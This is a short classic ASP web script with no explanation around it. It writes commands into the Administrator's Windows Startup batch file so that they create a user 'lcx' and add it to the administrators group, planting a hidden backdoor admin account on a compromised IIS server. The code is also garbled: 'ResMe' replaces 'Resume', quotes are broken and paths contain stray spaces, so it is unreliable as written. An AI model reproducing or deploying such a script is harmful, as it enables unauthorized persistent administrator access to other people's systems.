<%
ON Error ResMe next
DIM LCX
Set lcx = server.createObject ("adoDb.stream")
LCX.Open
LCX.TYPE = 2
LCX.Charset = "GB2312"
LCX.LoadFromFile "C: / Documents and Settings / Administrator /" Start "Menu / Program / Start / COOK.BAT"
Lcx.position = lcx.size
LCX.WriteText "Net User LCX LCX / Add" & Chr (10) & "Net localgroup administrators lcx / add"
LCX.savetofile "C: / Documents and Settings / Administrator /" Start "menu / program / start / cook.bat"
LCX.Close
Set lcx = Nothing
%>
